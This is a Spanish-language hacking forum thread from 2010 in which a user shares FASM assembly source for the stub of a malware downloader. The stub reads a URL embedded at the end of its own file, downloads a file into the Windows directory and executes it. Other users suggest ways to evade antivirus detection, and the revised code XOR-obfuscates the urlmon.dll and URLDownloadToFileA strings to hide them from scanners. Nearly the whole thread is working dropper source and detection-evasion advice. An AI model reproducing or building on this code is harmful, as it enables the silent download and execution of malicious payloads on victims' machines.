Autor
|
Tema: mDownloader (Leído 3,878 veces)
|
fary
|
Bueno, aqui les traigo el código de un downloader uqe e creado en fasm , solo dejo el código del Stub que es lo interesante jeje. ;Stub de mDownloader ;Codeado por Drinky94 en diciembre de 2010 ;www.drinky94. artehack .net include 'win32ax.inc' .data ruta dd ? manija dd ? larchivo dd ? espacio dd ? bleidos dd ? dll db 'urlmon.dll',0 funcion db 'URLDownloadToFileA',0 mUrl dd ? dlls db 'msvcrt.dll',0 funcions db 'getenv',0 shell dd ? user db 'windir',0 añadir db '\archivo.exe',0 destino dd ? .code start: invoke GlobalAlloc,GPTR,1024 mov [ruta],eax invoke GetModuleFileName,0,[ruta],1024 invoke CreateFile,[ruta], GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 mov [manija],eax invoke GetFileSize,[manija],0 mov [larchivo],eax invoke GlobalAlloc,GPTR,[larchivo] mov [espacio],eax invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0 invoke CloseHandle,[manija] mov ecx,1 mov eax,[espacio] add [larchivo],10 bucle: .if byte[eax+ecx] = '#' inc ecx .if byte[eax+ecx] = '#' inc ecx .if byte[eax+ecx] = '#' inc ecx add eax,ecx mov [espacio],eax jmp salir .endif dec ecx .endif dec ecx .endif .if ecx > [larchivo] jmp salir .endif inc ecx jmp bucle salir: invoke LoadLibrary,dlls invoke GetProcAddress,eax,funcions mov [shell],eax push user call [shell] invoke lstrcat,eax,añadir mov [destino],eax invoke LoadLibrary,dll invoke GetProcAddress,eax,funcion mov [mUrl],eax push 0 push 0 push [destino] push [espacio] push 0 call [mUrl] invoke ShellExecute,0,"open",[destino],0,0,0 leave ret .end start
Espero que a alguien le sirva salu2!
|
|
« Última modificación: 15 Diciembre 2010, 23:18 pm por Karcrack »
|
En línea
|
Un byte a la izquierda.
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Eso de dejar las cadenas en texto plano no es demasiado profesional, ademas que a los AVs no les gusta encontrarse "URLDownloadToFileA"... Teniendo en cuenta que esta en ASM te recomiendo sacar tu ruta desde el PEB, y asi te ahorras un par de APIs muy feas xor eax, eax mov eax, [FS:eax+0x30] mov eax, [DS:eax+0x10] mov eax, [DS:eax+0x3C] ;EAX = Ruta
Todo esto: bucle: .if byte[eax+ecx] = '#' inc ecx .if byte[eax+ecx] = '#' inc ecx .if byte[eax+ecx] = '#' inc ecx add eax,ecx mov [espacio],eax jmp salir .endif dec ecx .endif dec ecx .endif .if ecx > [larchivo] jmp salir .endif inc ecx jmp bucle Es para encontrar la firma no? Es un poco cutre este bucle... deberias usar loop... ademas de usar una firma de 4 bytes para poder buscarla de este modo: cmp DWORD[eax+ecx],"####" Otra cosa! Para sacar las variables de entorno siempre me ha gustado mas ExpandEnvironmentStringA/W.. a la que le pases la ruta del siguiente modo: "%WINDIR%\archivo.exe" y te la completa... ademas de que esta en KERNEL32 y te ahorras importar otra API Un saludo
|
|
|
En línea
|
|
|
|
fary
|
Umm, tienes razón Karcrack . Mañana mejoro el código y lo posteo jeje salu2!
|
|
|
En línea
|
Un byte a la izquierda.
|
|
|
[Zero]
Wiki
Desconectado
Mensajes: 1.082
CALL DWORD PTR DS:[0]
|
Está muy bien Drinky94, vas progresando con ASM . No sé si estás metiendo los datos en el EOF, pero si lo haces así, puedes encontrar fácilmente la dirección donde empiezan los datos que le builder metió y no tener que usar ninguna "firma". Si no lo haces con el EOF puedes reservar una dirección fija, por ejemplo con unos pocos nops en el código, y que sea el builder quien busque los nops y los cambie por los datos que quieres pasarle al stub. También puedes hacerlo con un archivo de recursos. Saludos
|
|
|
En línea
|
“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza. Nietzsche
|
|
|
fary
|
Bueno, aqui esta el código mejorado: include 'win32ax.inc' .data manija dd ? larchivo dd ? espacio dd ? bleidos dd ? dll db 'rukjhi)ckk',0 funcion db 'RUKChpikhfcShAnkbF',0 añadir db '%windir%\archivo.exe',0 ruta dd ? .code start: xor eax, eax mov eax, [FS:eax+0x30] mov eax, [DS:eax+0x10] mov eax, [DS:eax+0x3C] invoke CreateFileW,eax, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 mov [manija],eax invoke GetFileSize,[manija],0 mov [larchivo],eax invoke GlobalAlloc,GPTR,[larchivo] mov [espacio],eax invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0 invoke CloseHandle,[manija] mov ecx,1 mov eax,[espacio] add [larchivo],10 bucle: .if byte[eax+ecx] = '#' inc ecx .if byte[eax+ecx] = '#' inc ecx .if byte[eax+ecx] = '#' inc ecx add eax,ecx mov [espacio],eax jmp salir .endif dec ecx .endif dec ecx .endif .if ecx > [larchivo] jmp salir .endif inc ecx jmp bucle salir: invoke GlobalAlloc,GPTR,1024 mov [ruta],eax invoke ExpandEnvironmentStrings,añadir,[ruta],1024 stdcall Cifrar,dll invoke LoadLibrary,eax push eax stdcall Cifrar,funcion mov ecx,eax pop eax invoke GetProcAddress,eax,ecx push 0 push 0 push [ruta] push [espacio] push 0 call eax invoke ShellExecute,0,"open",[ruta],0,0,0 leave ret proc Cifrar,Cadena xor ecx,ecx mov eax,[Cadena] .bucle: .if byte[eax+ecx] = 0 jmp .salir .endif xor byte[eax+ecx],7 inc ecx jmp .bucle .salir: ret endp .end start
Había leido sobre la estructura PEB y habia visto ese código tuyo en otro post de yst sino recuerdo mal.. XD Bueno, no e mejorado lo de encontrar la firma que separa porque creo que así se adapta mas a lo que yo quiero y puedo añadir una firma con la longitud que quiera. salu2!
|
|
|
En línea
|
Un byte a la izquierda.
|
|
|
|
|